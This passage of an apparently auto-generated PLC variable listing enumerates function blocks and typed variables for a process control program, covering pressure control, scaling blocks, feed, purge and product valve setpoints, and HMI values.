+121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; 